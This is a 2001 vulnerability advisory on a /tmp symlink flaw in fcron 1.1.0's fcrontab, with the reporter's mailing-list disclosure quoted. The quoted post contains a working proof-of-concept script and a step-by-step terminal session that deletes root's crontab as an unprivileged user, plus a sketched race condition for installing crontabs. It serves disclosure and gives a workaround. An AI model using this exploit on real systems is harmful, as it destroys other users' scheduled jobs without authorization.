Fcron Lets Local Users Delete Other Crontab Files Without Authorization
|
Date: Jun 14 2001 05:45 (UTC/GMT)
|
Impact: Denial of service via local system
|
Fix Available: Yes
Exploit Included: Yes
Vendor Confirmed: Yes
|
Version(s): 1.1.0; possibly others
|
Description: A vulnerability has been reported in the Fcron command scheduler's fcrontabl program that lets local users delete crontabs belonging to other users.
The vulnerability is a /tmp symlink vulnerabilty. A local user can create a temporary link to an existing crontab file. If the
local user attempts to edit the link with crontab, the crontab program will remove the link (and the underlying file belonging to
the other user) because the proposed edit is malformed.
It reportedly may be possible to install a new crontab by attempting
to kill the crontab program before it removes the file due to the malformed edit, however, this was not demonstrated in the report.
|
Impact: A local user can delete the crontabs of other users.
|
Solution: No solution was available at the time of this entry. The author of the report suggests a workaround of making fcrontab only executable for root level users.
|
Vendor URL: fcron.free.fr/ (Links to External Site)
|
Cause: Access control error, State error
|
Underlying OS: Linux (Any), UNIX (Any)
|
Underlying OS Comments: Tested on Linux and OpenBSD
|
Reported By: Uwe Ohse <uwe@ohse.de>
|
Message History:
None.
|
Source Message Contents
|
Date: Thu, 14 Jun 2001 00:58:33 -0400
From: Uwe Ohse <uwe@ohse.de>
Subject: [local] [destroy] fcron-1.1.0 allows anybody to delete all crontabs
|
posted to the securesoftware mailing list
Date: Thu, 7 Jun 2001 17:15:10 +0000
Fcron Description, from the README:
Fcron is a scheduler. It aims at replacing Vixie Cron, so it
implements most of its functionalities.
Vulnerability:
The fcrontab program contains a classical /tmp symlink vulnerability,
allowing any attacker to delete anybodies crontab, with the obvious
impact on the system services.
This has been tested on Linux and OpenBSD.
The author has been informed on 2001-05-07. A new release may or may
not
be available, i was too busy to follow this. In any case the
workaround
is obvious: make the fcrontab problem only executable for root.
How to repeat:
1. Install a crontab, for example for the root user:
root# ls -l /var/spool/fcron/
total 0
root# echo '0 0 * * * echo test' | fcrontab -
09:53:00 installing file /tmp/fcrontab.27301 for user root
Modifications will be taken into account right now.
root# ls -l /var/spool/fcron/
total 2
-rw------- 1 root root 110 May 7 09:53 root
-rw------- 1 root fcron 20 May 7 09:53 root.orig
2. As a normal user write and execute a script:
uwe$ cat ~/x
#! /bin/sh
ln -s /var/spool/fcron/rm.root /tmp/fcrontab.$$
exec fcrontab - <<EOF
* * * * * false
EOF
uwe$ ./x
09:55:55 installing file /tmp/fcrontab.27536 for user uwe
09:55:55 User uwe can't read file "/tmp/fcrontab.27536": Permission
denied
3. As root look into the fcron spool directory:
root# ls -l /var/spool/fcron/
total 3
-rw-r----- 1 uwe fcron 16 May 7 09:55 rm.root
-rw------- 1 root root 110 May 7 09:53 root
-rw------- 1 root fcron 20 May 7 09:53 root.orig
4. As the normal user edit your crontab:
uwe$ echo '* * * * * true' | fcrontab -
09:59:15 installing file /tmp/fcrontab.27543 for user uwe
Modifications will be taken into account at 10h00.
5. As root wait up to a minute and look into the fcron spool
directory:
# ls -l /var/spool/fcron/
total 3
-rw------- 1 root fcron 20 May 7 09:53 root.orig
-rw------- 1 root root 102 May 7 09:59 uwe
-rw-r----- 1 fcron fcron 15 May 7 09:59 uwe.orig
6. Root's crontab is gone, look into your backups.
Additional risk:
As far as i can see one can also insert new crontabs into the
system,
but to achieve this one has to exploit a race condition.
The key is to create a link to new.someone and to kill the fcrontab
program just after it creates the temporary file but before the
program removes the file because it notices that the file is
malformed.
Regards, Uwe
|
|
